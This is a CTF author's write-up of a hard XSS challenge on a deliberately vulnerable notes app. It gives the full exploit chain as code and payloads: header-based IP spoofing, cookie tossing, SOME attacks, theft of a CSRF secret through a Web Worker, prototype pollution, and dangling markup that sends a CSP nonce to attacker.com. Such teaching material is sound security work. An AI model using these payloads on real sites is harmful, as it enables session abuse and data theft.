Intigriti's October 2022 - XSS Challenge Author Writeup
This month, I created a hard XSS challenge for Intigriti that ended up with only one official solve — a chain through IP-spoofing, cookie tossing, prototype pollution, and dangling markup to leak a CSP nonce.

💡 Challenge URL: https://challenge-1022.intigriti.io
This month, I created a hard XSS challenge for Intigriti. This challenge ended up with only one official solve. If you missed it and haven’t tried it, try solving it yourself before reading the write-up!
If you prefer a video writeup, you can find that here.
The source code is available at https://github.com/0xGodson/notes-app.
What is the application about?
This is an XSS challenge. You know it’s time for a notes application. Users can create an account and create notes. The source code is also provided — which means it’s a white box challenge. If you read the source code, you’ll find that this application’s authentication is based on IP + JWT (JSON Web Token). So, even someone with your username and password (or your session cookie) can’t access your notes — only you can access your account from the IP you had when you registered.
Game rules
Before we get into the challenge, let’s have a look at the rules:

Yes, I only had a working solution on Firefox. However, there was an unintended, unofficial solution that worked on Chrome. This challenge is a bit different than usual: to solve it, you don’t need to alert document.domain, instead we need to alert the note of the victim. Important note: we are allowed to use previous XSS challenges in order to solve this one, and the victim has popups enabled in their browser.
Technical Information
This application is written in Node JS and uses EJS for templating. Notes are sanitized with DOMPurify — the latest version at the time of the challenge.
After successful registration, you can create notes with HTML content. However, since HTML content is sanitized with DOMPurify’s latest version, you’d need a DOMPurify 0-day to solve the challenge, which is not the intended solution.
If we navigate to /challenge/begin, we can see all of our posts:

Clicking on one of our notes changes the URL format to /challenge/view/<POST-UUID>:

We also notice there is no CSRF protection in place, and cookies are set to SameSite: Strict — so cookies won’t be sent by the browser if the request is made cross-origin. If you’re not familiar with SameSite, or the difference between Same-Origin and Same-Site, I’d recommend this blog by jub0bs before continuing.
Since we’re allowed to use previous XSS challenges, we can bypass the SameSite: Strict restriction — challenge-xxxx.intigriti.io and challenge-1022.intigriti.io are SameSite but cross-origin, so the browser will still send cookies between them.
To create a note, we need to send a POST request to /challenge/add with a secret. This secret acts like a CSRF token:

How does the front-end get this secret? There’s a dynamic JavaScript file, getSecret.js, generated per-request on the backend that shares the valid secret with the front-end:

The following snippet returns getSecret.js:
app.get('/challenge/getSecret.js', isAuthed, (req, res) => {
try {
if (db.users[currentUser]['ip'] !== userIP) {
return res.redirect('/challenge/auth?alert=Illegal Access!');
}
const script = `
/* Only Share the Secret if the Host is Trusted! */
if (window.saveSecret) {
if (document.domain === 'challenge-1022.intigriti.io' && window.location.href === 'https://challenge-1022.intigriti.io/challenge/create') {
console.log('secret Sent!');
window.saveSecret('${db.users[currentUser]['secret']}');
}
}`
res.setHeader('content-type', 'text/javascript');
res.send(script);
} catch {
res.send('Something Went Wrong');
}
})
isAuthed is a middleware, so this endpoint requires authentication:
// Verify if the User is Authenticated!
isAuthed = async (req, res, next) => {
let headers = req.headers;
for (let i in headers) {
if (i.toLowerCase().includes('x-') || i.toLowerCase().includes('ip')
|| i.toLowerCase().includes('for')) {
if (i.toLowerCase() !== 'x-real-ip') { // nginx configuration
delete req.headers[i];
}
}
}
if (!req.headers['cookie']) return res.redirect('/challenge/auth');
try {
const authToken = req.cookies['jwt'];
jwt.verify(authToken, jwtSecret, {}, (err, user) => {
if (err) return res.redirect('/challenge/auth')
if (user && db.users[user.user]) {
currentUser = user.user;
userIP = RequestIp.getClientIp(req);
next();
} else {
res.redirect('/challenge/auth?alert=user not found');
}
})
} catch (e) {
res.redirect('/challenge/begin?alert=Something Went Wrong!');
}
}
isAuthed deletes any request header that starts with x- or includes ip or for — with one exception, x-real-ip. Why keep that one? The challenge runs behind Nginx, which forwards the user’s real IP via x-real-ip, so that header can’t be overwritten. The middleware then verifies the JWT; if valid, it sets userIP from the request. So /challenge/getSecret.js requires a valid JWT, and if we can somehow leak secret, we could perform CSRF — but secret differs per IP.
The /challenge/theme endpoint:
app.get('/challenge/theme', isAuthed, (req, res) => {
try {
if (db.users[currentUser].ip !== '127.0.0.1') {
res.redirect('/challenge/begin?alert=Themes Under Construction');
}
function replaceSlash(str) {
return str.replaceAll('\\', '');
}
if (req.query.callback) {
if (/^[A-Za-z0-9_.]+$/.test(req.query.callback)) {
if (req.query.backgroundTheme && req.query.colorTheme) {
if (/^[#][0-9a-z]{6}$/.test(req.query.backgroundTheme) && /^[#][0-9a-z]{6}$/.test(req.query.colorTheme)) {
return res.render('theme', {
theme: {
callback: req.query.callback,
background: replaceSlash(req.query.backgroundTheme),
font: replaceSlash(req.query.colorTheme)
}
})
} else {
return res.render('theme', {theme: false})
}
}
if (req.query.backgroundTheme) {
if (/^[#][0-9a-z]{6}$/.test(req.query.backgroundTheme)) {
return res.render('theme', {
theme: { callback: req.query.callback, background: replaceSlash(req.query.backgroundTheme) }
})
} else {
return res.render('theme', {theme: false})
}
}
if (req.query.colorTheme) {
if (/^[#][0-9a-z]{6}$/.test(req.query.colorTheme)) {
return res.render('theme', {
theme: { callback: req.query.callback, font: replaceSlash(req.query.colorTheme) }
})
} else {
return res.render('theme', {theme: false})
}
}
}
} else {
return res.render('theme', {theme: false})
}
} catch {
res.redirect('/challenge/begin?alert=Something went Wrong')
}
})
This runs behind the same isAuthed middleware, and additionally checks whether the user’s IP is 127.0.0.1 — if not, we’re redirected with “Themes Under Construction.” Crucially, the IP here is not read from the current request, but from the value stored in the database when the account was created. So if we can spoof our IP during registration, we can create an account with IP 127.0.0.1 and access this page.
The app uses @supercharge/request-ip to resolve the client IP. Reading that library’s README turns up a bypass:

The isAuthed middleware strips headers containing x-, ip, or for (except x-real-ip), but the login/register route strips slightly differently:
app.post('/challenge/auth', (req, res) => {
try {
delete req.headers['x-forwarded-for'];
delete req.headers['x-client-ip'];
const headers = req.headers;
for (let i in headers) {
if (i.toLowerCase().includes('x-') || i.toLowerCase().includes('ip') || i.toLowerCase().includes('-for')) {
if (i.toLowerCase() !== 'x-real-ip') {
delete req.headers[i];
}
}
}
if (!req.body.username || !req.body.password) {
return res.redirect('/challenge/auth?message=username or password is empty');
}
if (db.users[req.body.username] && db.users[req.body.username].password === req.body.password) {
if (db.users[req.body.username]['ip'] === RequestIp.getClientIp(req)) {
const authToken = jwt.sign({user: req.body.username}, jwtSecret)
res.setHeader('Set-Cookie', [`jwt=${authToken}; HttpOnly; secure; SameSite=Strict`]);
return res.redirect('/challenge/begin?message=Login Success!');
} else {
return res.redirect('/challenge/auth?alert=Illegal Access!');
}
}
if (db.users[req.body.username] && db.users[req.body.username].password !== req.body.password) {
return res.redirect('/challenge/auth?alert=Password Wrong!');
}
if (!db.nonces[RequestIp.getClientIp(req)]) {
db.nonces[RequestIp.getClientIp(req)] = crypto.randomBytes(20).toString('hex');
}
db.users[req.body.username] = Object.create(null);
db.users[req.body.username]['password'] = req.body.password;
db.users[req.body.username]['ip'] = RequestIp.getClientIp(req);
db.users[req.body.username]['secret'] = crypto.randomBytes(20).toString('hex');
const authToken = jwt.sign({user: req.body.username}, jwtSecret);
db.users[req.body.username].posts = [];
res.setHeader('Set-Cookie', [`jwt=${authToken}; HttpOnly; secure; SameSite=Strict`]);
res.redirect('/challenge/begin?message=Account Created!');
} catch {
res.redirect('/challenge/begin?alert=Something went Wrong');
}
})
This route only explicitly deletes x-forwarded-for and x-client-ip, then strips anything containing x-, ip, or -for (again excepting x-real-ip). Every header @supercharge/request-ip checks falls under this filter — except Forwarded, because "forwarded".includes("-for") is false. So we can spoof our IP with the Forwarded header while registering.
Once registered with a spoofed IP of 127.0.0.1, we can access /challenge/theme with that account’s cookie:

But we still can’t create notes or hit any other authenticated endpoint, since those all re-check the IP from the request against the database value — and the isAuthed middleware (unlike the registration route) also strips the Forwarded header, since "forwarded".includes("for") is true there. So /challenge/theme is the one endpoint we can reach with the spoofed account.
Looking closer at /challenge/theme: it takes three GET parameters — callback, backgroundTheme, colorTheme — each validated by a strict regex (callback must match /^[A-Za-z0-9_.]+$/; the two theme colors must be 6-hex-digit #RRGGBB values). If they pass, they’re rendered via EJS into theme.ejs:

It responds with opener.<callback>("...","...") inside a script tag — opener being the challenge window that opened it:

Clicking the little brush icon calls:
function updateTheme() {
window.open("/challenge/theme");
}
So /challenge/theme can call back into its opener via the callback parameter — giving us limited access to the parent page:

We can call functions with limited arguments from child to opener, but we still need our spoofed-IP cookie to work across the whole app — every other authenticated endpoint checks the IP from the request body against the database.
Cookie Tossing
Cookie Tossing sets a cookie from a.test.com shared across all subdomains via the domain attribute. Since intigriti.io is not in the public suffix list, we can set a malicious cookie from xxx.intigriti.io that gets shared to every subdomain — we just need an XSS somewhere on *.intigriti.io, which we get from a previous challenge:
// xss on chal-0222.intigriti.io
https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Cstyle/onload=eval(uri)%3E&first=yes\n
document.cookie = `jwt={cookie_with_spoofed_ip};domain=.intigriti.io;path=/challenge/theme`;
Why the path attribute? Per RFC 6265, cookies with longer paths are listed before cookies with shorter paths. Setting our cookie with path /challenge/theme means our spoofed cookie is sent first for that path, while the real cookie still works for every other path — so tossing doesn’t break the rest of the app. Now we can enable the theme page for the victim, meaning the victim’s own account can reach /challenge/theme.
Same Origin Method Execution — SOME Attack
We can use the callback parameter for a Same Origin Method Execution (SOME) attack:
<!-- index.html — here some.html is the child window -->
<script>
window.open("/some.html");
location.replace("https://<website_which_allow_you_to_control_opener_in_response>/<endpoint_which_you_want_to_access>");
</script>
<!-- some.html — here index.html is the parent, reachable via opener since same origin -->
<script>
location.replace("https://<website_which_allow_you_to_control_opener_in_response>/<endpoint_where_you_can_control_the_opener_with_callback_paramater>?callback=alert")
</script>
Why location.replace? Because it preserves the parent/child window relationship in memory, unlike setting document.location/window.location directly, which erases it.
With this we can call any function on the opener — including Element.click() — to click things via JavaScript, using DOM navigation to reach the exact element (e.g. the first note, where the flag lives):
document.body.lastElementChild.firstChild.nextElementSibling.firstChild.nextElementSibling.firstElementChild.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.nextElementSibling.lastChild.previousElementSibling.previousElementSibling.previousElementSibling.previousElementSibling.previousElementSibling.previousElementSibling.firstChild
Limited POC to Click the First Post Where the Flag Is Saved
Using XSS from a previous challenge, we enable the themes page for the victim:
document.domain=jwt={spoofed_account's_JWT};domain=.intigriti.io;path=/challenge/theme
Frame 1:
<script>
window.open("https://attacker.com/frame2.html")
location.replace("https://challenge-1022.intigriti.io/challenge/begin");
</script>
Frame2.html (run after ~2 seconds):
<script>
location.replace("https://challenge-1022.intigriti.io/challenge/theme?callback=document.body.lastElementChild.firstChild.nextElementSibling.firstChild.nextElementSibling.firstElementChild.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.nextElementSibling.lastChild.previousElementSibling.previousElementSibling.previousElementSibling.previousElementSibling.previousElementSibling.previousElementSibling.firstChild.click&backgroundTheme=%2340e0d0");
</script>
Frame 1 ends up navigated to the note where the flag is stored. To go further and create our own note with XSS, we still need the secret for CSRF.
Leaking the Secret aka CSRF Token to Perform CSRF
The secret is stored per-account and only shared when the conditions in getSecret.js match:
if (window.saveSecret) {
if (document.domain === 'challenge-1022.intigriti.io' && window.location.href === 'https://challenge-1022.intigriti.io/challenge/create') {
window.saveSecret('some_secret');
}
}
It looks unexploitable, but Web Workers have no window/document, so we can fake our own:
// worker.js
window = {}
window.location = {}
document = {}
window.saveSecret = function(msg){ self.postMessage(msg) }
window.location.href = "https://challenge-1022.intigriti.io/challenge/create";
document.domain = "challenge-1022.intigriti.io";
importScripts("https://challenge-1022.intigriti.io/challenge/getSecret.js");
But workers can’t be registered cross-origin, and SameSite: Strict cookies won’t be sent when importScripts pulls from cross-origin either.
Blob URL Objects for Rescue
A Blob URL lets us treat in-memory data as a URL source. We fetch the worker script from our attacker domain, wrap it in a Blob, and pass that URL to new Worker(...) — which the browser is happy to register, since it’s now same-origin from its own perspective:
function registerWorker(url) {
const worker = new Worker(url);
worker.addEventListener('message', function (m) {
const secret = m.data;
console.log(`Found secret: '${secret}'`);
});
}
fetch(`https://attacker.com/worker.js`)
.then(e => e.text())
.then(e => {
const blobUrl = URL.createObjectURL(new Blob([e], {type: 'text/javascript'}));
registerWorker(blobUrl);
});
XSS
We can now leak the secret, perform CSRF, and use SOME on /challenge/theme to click a second note. But there’s still no XSS — note title/body are sanitized with the latest DOMPurify.
Looking at the tail of the client-side /app.js:
Object.whoami = Object.create(null);
if(document.domain.match(/localhost/)){
Object.whoami = {type: "admin"};
Object.whoami.markdown = true;
} else {
Object.whoami = {type: "normal-user"};
}
Object.defineProperty(Object.whoami,'type', {configurable:false,writable:false});
try{
Object.whoami.user = document.head.innerText.split("Welcome")[1].replaceAll("\n", "").replaceAll(" ", "");
} catch {
Object.whoami.user = "still!"
}
Object.create(null) builds an object with null prototype. If document.domain contains localhost, Object.whoami.type is "admin" and markdown is true; otherwise type is "normal-user" — and then type is frozen with configurable:false,writable:false.
Rendering a note:
app.get('/challenge/view/:uuid', isAuthed, (req, res) => {
function noscript(text) {
return text.toLocaleLowerCase().replaceAll('script', '').replaceAll('nonce', '');
}
try {
if (db.users[currentUser]['ip'] !== userIP) {
return res.redirect('/challenge/auth?alert=Illegal Access!');
}
let uuid = req.params.uuid;
const posts = db.users[currentUser].posts;
if (!posts.includes(uuid)) {
return res.redirect('/challenge/begin?alert=Note not Found!');
}
res.setHeader('Content-Security-Policy', `script-src 'nonce-${db.nonces[RequestIp.getClientIp(req)]}';base-uri 'self'; style-src 'self' 'unsafe-inline'; img-src *;default-src 'none';object-src 'none';`)
res.render('view', {
title: db.users[currentUser][uuid]['title'],
body: db.users[currentUser][uuid]['body'],
user: noscript(currentUser),
nonce: db.nonces[db.users[currentUser]['ip']]
})
} catch {
res.redirect('/challenge/begin?alert=Something went Wrong');
}
});
Every authenticated page is otherwise protected with script-src 'self' — only /view/<POST_UUID> has a nonce-based CSP, and the nonce is shared per-IP rather than per-account. If we look at view.ejs, note content under some conditions is passed to a tryMarkDown function, which strips content between <mk> and </mk> and re-renders it as Markdown — a second parsing pass, similar in spirit to mXSS.
DOMPurify strips unknown tags like <mk>, but we can smuggle <mk> inside a known attribute, so it survives the first sanitization pass and only appears once the content is parsed a second time as Markdown:
<!-- our note body -->
`<h1 id="`payload<img src=x onerror=alert()>"></h1>
<!-- after DOMPurify -->
`<h1 id="`payload">xss<h1>
<!-- after the 2nd, markdown, parse -->
<p><code><h1 id="</code>payload<img src=x onerror=alert()>"></h1></p>
To trigger the second pass we need to satisfy:
if (document.querySelectorAll("#usertype")[0].getAttribute("type") === "admin" && Object.whoami.type === "admin" && Object.whoami.markdown === true && Object.type === "admin") {
tryMarkDown()
}
Leaking the GUID and Nonce
To make document.querySelectorAll("#usertype")[0].getAttribute("type") equal "admin", we can DOM clobber it: every response ships a <body id="usertype" type="normal-user">, and querySelectorAll returns elements in DOM order, so an html tag with the same id earlier in the tree wins. DOMPurify strips <html> tags directly, but the page reflects the username unescaped in the <title>:

filtered only by a blocklist:
function noscript(text) {
matches = text.toLowerCase().match(/(script)|(nonce)|(href)|(getsecret)|(ip-secret)|(form)|(input)|(nonce)/)
if (matches === null) { return text } else { return "[NO XSS]" }
}
So a username like </title><html id=usertype type=admin>random closes the title tag and injects the clobbering html element:

To satisfy Object.whoami.type === "admin" && Object.whoami.markdown === true && Object.type === "admin", we need prototype pollution — the app uses arg.js v1.4 for query-string parsing, which is known to be vulnerable. Passing ?constructor[prototype][test]=test confirms it.
Object.whoami.type is frozen read-only, but per Gareth Heyes’ research on prototype pollution gadgets, Object.defineProperty without an explicit value is itself a pollution gadget — polluting Object.prototype.value lets us overwrite what looks like a frozen property:
?constructor[prototype][value]=admin&constructor[prototype][markdown]=true&constructor[type]=admin
(with username </title><html id=usertype type=admin>r4nd0m)
Now, to leak the nonce, we use Dangling Markup Injection (Chrome patched this, Firefox hadn’t at the time): a username like </title><img src='//attacker.com?leak= causes everything up to the next ' to be treated as the image URL. Since a nonce-based CSP only exists on /view/<POST_ID>, we need a dummy note on this account — which means leaking secret again the same way, creating the note, then framing //challenge-1022.intigriti.io/challenge/begin to leak the note ID, and framing //challenge-1022.intigriti.io/challenge/view/<leaked_id> to leak the nonce.
Chaining It All Together
- Cookie-toss the spoofed-IP JWT to enable the
themepage for the victim. - Open Iframe 1, which itself opens a new window and replaces its own location with
/challenge/begin, and the child window replaces its location (after ~1s) with/theme?callback=<DOM navigation to click the first note>— landing Iframe 1 on the note containing the flag. - Register a new account with username
</title><img src='//attacker_domain?leak=to leak the note ID and nonce via dangling markup. - Leak
secretvia the Web Worker + Blob URL technique, then CSRF a dummy note to trigger the nonce leak through the framed/view/<id>request. - Register another account with username
</title><html id=usertype type=admin>random1234to satisfy the DOM-clobbering check, leaksecretagain, and create a note with:
<a href="?constructor[prototype][value]=admin&constructor[prototype][markdown]=true&constructor[type]=admin" id="xssme">click me!</a><h1 id="<mk>"></h1>`<h1 id="`<iframe srcdoc='<script nonce=${nonce}>alert(top.window.frames[0].window.noteContent.innerText)</script>'></iframe>">payload</h1><h1 id="</mk>"></h1>
- Use SOME again to click the XSS note, then click the
atag carrying the prototype-pollution payload — which triggers the second Markdown parse pass and fires the XSS, reading the flag out of the victim’s note.
Some Unintended Solutions
From DrBrix: the secret could be leaked another way — registering a username like </title><form action="https://attacker/submit"><input id="ip-secret" value=""><script src="./arg-1.4.js"></script><script src="./app.js"></script><script src="./getSecret.js"></script><input name='content' value=' clobbers ip-secret with an injected <input>, and since the injected script tags still satisfy the document.domain/location.href checks in getSecret.js, the shared secret lands on that clobbered input — which can then be exfiltrated by submitting the form via SOME.
From Lawrence: clobbering ip-secret with HTML entities inside an id attribute (</title><body id="usertype" type="admin"><textarea type="text" id="ip-secret" name="secret"></textarea>) achieves something similar. There was also a CSS-injection path to leak the secret, since the response ships style-src 'self' 'unsafe-inline'.